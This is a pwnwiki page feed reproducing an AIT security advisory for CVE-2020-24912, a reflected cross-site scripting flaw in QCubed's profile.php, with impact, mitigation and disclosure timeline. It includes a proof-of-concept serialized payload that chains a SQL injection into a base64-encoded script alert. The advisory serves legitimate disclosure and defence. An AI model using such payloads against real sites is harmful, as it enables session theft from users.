https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E 2026-04-23T08:36:49Z Revision history for this page on the wiki MediaWiki 1.35.1 https://pwnwiki.com/index.php?title=CVE-2020-24912_QCubed_3.11_XSS%E6%BC%8F%E6%B4%9E&diff=3623&oldid=prev 2021-05-30T02:37:02Z

<p>Created page with &quot;==EXP== &lt;pre&gt; QCube Cross-Site-Scripting ====================== | Identifier: | AIT-SA-20210215-03 | | Target: | QCubed Framework | | Vendor: | QCubed | | Version: | all versi...&quot;</p> <p><b>New page</b></p><div>==EXP==<br /> &lt;pre&gt;<br /> QCube Cross-Site-Scripting<br /> ======================<br /> | Identifier: | AIT-SA-20210215-03 |<br /> | Target: | QCubed Framework |<br /> | Vendor: | QCubed |<br /> | Version: | all versions including 3.1.1 |<br /> | CVE: | CVE-2020-24912 |<br /> | Accessibility: | Remote |<br /> | Severity: | High |<br /> | Author: | Wolfgang Hotwagner (AIT Austrian Institute of Technology) |<br /> <br /> SUMMARY<br /> =======<br /> QCubed is a PHP Model-View-Controller Rappid Application Development framework. (https://github.com/qcubed/qcubed)<br /> <br /> VULNERABILITY DESCRIPTION<br /> =========================<br /> A reflected cross-site scripting (XSS) vulnerability in qcubed (all versions including 3.1.1) in profile.php via the stQuery-parameter allows unauthenticated attackers to steal sessions of authenticated users.<br /> <br /> PROOF OF CONCEPT<br /> =================<br /> The XSS occurs because the SQL-output in profile.php is not sanitized properly. Since we are able to tamper the output using a SQL-injection(CVE-2020-24913), we can easily output a common XSS string.<br /> <br /> We use the following payload(unencoded):<br /> <br /> ```<br /> a:1:{i:0;a:3:{s:12:&quot;objBacktrace&quot;;a:1:{s:4:&quot;args&quot;;a:1:{i:0;s:3:&quot;PWN&quot;;}}s:8:&quot;strQuery&quot;;s:112:&quot;select version(); select convert_from(decode($$PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K$$,$$base64$$),$$utf-8$$)&quot;;s:11:&quot;dblTimeInfo&quot;;s:1:&quot;1&quot;;}}<br /> ```<br /> <br /> PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4K is unencoded:<br /> <br /> ```<br /> &quot;&lt;script&gt;alert(‘xss’)&lt;/script&gt;&quot;<br /> ```<br /> <br /> VULNERABLE VERSIONS<br /> ===================<br /> All versions including 3.1.1 are affected.<br /> <br /> <br /> TESTED VERSIONS<br /> ===============<br /> QCubed 3.1.1<br /> <br /> IMPACT<br /> ======<br /> An unauthenticated attacker could steal sessions of authenticated users.<br /> <br /> MITIGATION<br /> ==========<br /> <br /> A patch was delivered by QCubed that allows to disable the profile-functionality( https://github.com/qcubed/qcubed/pull/1320/files ).<br /> <br /> VENDOR CONTACT TIMELINE<br /> ======================= <br /> <br /> | 2020-04-19 | Contacting the vendor |<br /> | 2020-04-19 | Vendor replied |<br /> | 2020-05-01 | Vendor released a patch at Github |<br /> | 2021-02-15 | Public disclosure |<br /> <br /> ADVISORY URL<br /> ============<br /> [https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed](https://www.ait.ac.at/ait-sa-20210215-03-xss-qcubed)<br /> &lt;/pre&gt;</div>

Pwnwiki